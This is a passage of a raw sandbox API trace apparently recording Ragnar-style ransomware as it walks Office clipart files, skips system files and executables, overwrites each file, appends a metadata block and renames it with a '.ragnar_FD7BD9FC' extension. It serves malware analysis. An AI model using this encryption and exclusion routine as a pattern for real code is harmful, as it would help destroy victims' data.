GetProcessHeap () returned 0x580000 [0089.554] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.554] CloseHandle (hObject=0xf4) returned 1 [0089.554] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF" [0089.554] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF.ragnar_FD7BD9FC" [0089.554] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00686_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00686_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.554] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb45d3900, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb45d3900, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x1138, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00693_.WMF", cAlternateFileName="")) returned 1 [0089.554] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.554] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE00693_.WMF" | out: lpString1="PE00693_.WMF") returned="PE00693_.WMF" [0089.554] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF") returned=".WMF" [0089.555] lstrcmpiW (lpString1="PE00693_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.555] lstrcmpiW (lpString1="PE00693_.WMF", lpString2="autorun.inf") returned 1 [0089.555] lstrcmpiW (lpString1="PE00693_.WMF", lpString2="boot.ini") returned 1 [0089.555] lstrcmpiW (lpString1="PE00693_.WMF", lpString2="bootfont.bin") returned 1 [0089.555] lstrcmpiW (lpString1="PE00693_.WMF", lpString2="bootsect.bak") returned 1 [0089.555] lstrcmpiW (lpString1="PE00693_.WMF", lpString2="bootmgr") returned 1 [0089.555] lstrcmpiW (lpString1="PE00693_.WMF", lpString2="bootmgr.efi") returned 1 [0089.555] lstrcmpiW (lpString1="PE00693_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.555] lstrcmpiW (lpString1="PE00693_.WMF", lpString2="desktop.ini") returned 1 [0089.555] lstrcmpiW (lpString1="PE00693_.WMF", lpString2="iconcache.db") returned 1 [0089.555] lstrcmpiW (lpString1="PE00693_.WMF", lpString2="ntldr") returned 1 [0089.555] lstrcmpiW (lpString1="PE00693_.WMF", lpString2="ntuser.dat") returned 1 [0089.555] lstrcmpiW (lpString1="PE00693_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.555] lstrcmpiW (lpString1="PE00693_.WMF", lpString2="ntuser.ini") returned 1 [0089.555] lstrcmpiW (lpString1="PE00693_.WMF", lpString2="thumbs.db") returned -1 [0089.555] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.555] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.555] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.555] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.555] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.555] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.555] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.555] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00693_.wmf")) returned 0x20 [0089.555] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00693_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.556] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4408) returned 1 [0089.556] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x112f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.556] GetProcessHeap () returned 0x580000 [0089.556] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.556] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.557] VirtualAlloc (lpAddress=0x0, dwSize=0x1138, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.557] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.557] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.557] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1138, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1138, lpOverlapped=0x0) returned 1 [0089.558] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.558] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1138, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.558] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1138, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1138, lpOverlapped=0x0) returned 1 [0089.559] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1138, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.559] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.559] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1138, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.559] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.559] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.559] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.559] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.559] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.559] GetProcessHeap () returned 0x580000 [0089.559] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.559] CloseHandle (hObject=0xf4) returned 1 [0089.559] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF" [0089.559] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF.ragnar_FD7BD9FC" [0089.559] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00693_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00693_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.560] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49cc9e00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49cc9e00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x3926, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00720_.WMF", cAlternateFileName="")) returned 1 [0089.560] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.560] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE00720_.WMF" | out: lpString1="PE00720_.WMF") returned="PE00720_.WMF" [0089.560] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF") returned=".WMF" [0089.560] lstrcmpiW (lpString1="PE00720_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.560] lstrcmpiW (lpString1="PE00720_.WMF", lpString2="autorun.inf") returned 1 [0089.560] lstrcmpiW (lpString1="PE00720_.WMF", lpString2="boot.ini") returned 1 [0089.560] lstrcmpiW (lpString1="PE00720_.WMF", lpString2="bootfont.bin") returned 1 [0089.560] lstrcmpiW (lpString1="PE00720_.WMF", lpString2="bootsect.bak") returned 1 [0089.560] lstrcmpiW (lpString1="PE00720_.WMF", lpString2="bootmgr") returned 1 [0089.560] lstrcmpiW (lpString1="PE00720_.WMF", lpString2="bootmgr.efi") returned 1 [0089.560] lstrcmpiW (lpString1="PE00720_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.560] lstrcmpiW (lpString1="PE00720_.WMF", lpString2="desktop.ini") returned 1 [0089.560] lstrcmpiW (lpString1="PE00720_.WMF", lpString2="iconcache.db") returned 1 [0089.560] lstrcmpiW (lpString1="PE00720_.WMF", lpString2="ntldr") returned 1 [0089.560] lstrcmpiW (lpString1="PE00720_.WMF", lpString2="ntuser.dat") returned 1 [0089.560] lstrcmpiW (lpString1="PE00720_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.560] lstrcmpiW (lpString1="PE00720_.WMF", lpString2="ntuser.ini") returned 1 [0089.561] lstrcmpiW (lpString1="PE00720_.WMF", lpString2="thumbs.db") returned -1 [0089.561] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.561] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.561] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.561] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.561] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.561] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.561] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00720_.wmf")) returned 0x20 [0089.561] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00720_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.561] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=14630) returned 1 [0089.561] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x391d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.561] GetProcessHeap () returned 0x580000 [0089.561] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.561] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.563] VirtualAlloc (lpAddress=0x0, dwSize=0x3926, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.563] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.563] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.563] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3926, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3926, lpOverlapped=0x0) returned 1 [0089.564] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.564] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3926, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.564] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3926, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3926, lpOverlapped=0x0) returned 1 [0089.564] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3926, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.565] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.565] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3926, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.565] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.565] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.565] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.565] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.565] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.565] GetProcessHeap () returned 0x580000 [0089.565] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.565] CloseHandle (hObject=0xf4) returned 1 [0089.565] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF" [0089.565] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF.ragnar_FD7BD9FC" [0089.565] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00720_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00720_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.566] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe80c3400, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe80c3400, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x1afc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00723_.WMF", cAlternateFileName="")) returned 1 [0089.566] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.566] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE00723_.WMF" | out: lpString1="PE00723_.WMF") returned="PE00723_.WMF" [0089.566] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF") returned=".WMF" [0089.566] lstrcmpiW (lpString1="PE00723_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.566] lstrcmpiW (lpString1="PE00723_.WMF", lpString2="autorun.inf") returned 1 [0089.566] lstrcmpiW (lpString1="PE00723_.WMF", lpString2="boot.ini") returned 1 [0089.566] lstrcmpiW (lpString1="PE00723_.WMF", lpString2="bootfont.bin") returned 1 [0089.566] lstrcmpiW (lpString1="PE00723_.WMF", lpString2="bootsect.bak") returned 1 [0089.566] lstrcmpiW (lpString1="PE00723_.WMF", lpString2="bootmgr") returned 1 [0089.566] lstrcmpiW (lpString1="PE00723_.WMF", lpString2="bootmgr.efi") returned 1 [0089.566] lstrcmpiW (lpString1="PE00723_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.566] lstrcmpiW (lpString1="PE00723_.WMF", lpString2="desktop.ini") returned 1 [0089.566] lstrcmpiW (lpString1="PE00723_.WMF", lpString2="iconcache.db") returned 1 [0089.566] lstrcmpiW (lpString1="PE00723_.WMF", lpString2="ntldr") returned 1 [0089.566] lstrcmpiW (lpString1="PE00723_.WMF", lpString2="ntuser.dat") returned 1 [0089.567] lstrcmpiW (lpString1="PE00723_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.567] lstrcmpiW (lpString1="PE00723_.WMF", lpString2="ntuser.ini") returned 1 [0089.567] lstrcmpiW (lpString1="PE00723_.WMF", lpString2="thumbs.db") returned -1 [0089.567] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.567] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.567] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.567] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.567] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.567] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.567] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.567] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00723_.wmf")) returned 0x20 [0089.567] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00723_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.567] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6908) returned 1 [0089.567] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1af3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.567] GetProcessHeap () returned 0x580000 [0089.567] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.568] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.569] VirtualAlloc (lpAddress=0x0, dwSize=0x1afc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.569] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.569] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.569] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1afc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1afc, lpOverlapped=0x0) returned 1 [0089.570] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.570] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1afc, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.570] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1afc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1afc, lpOverlapped=0x0) returned 1 [0089.570] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1afc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.570] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.570] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1afc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.570] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.571] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.571] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.571] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.571] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.571] GetProcessHeap () returned 0x580000 [0089.571] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.571] CloseHandle (hObject=0xf4) returned 1 [0089.571] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF" [0089.571] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF.ragnar_FD7BD9FC") 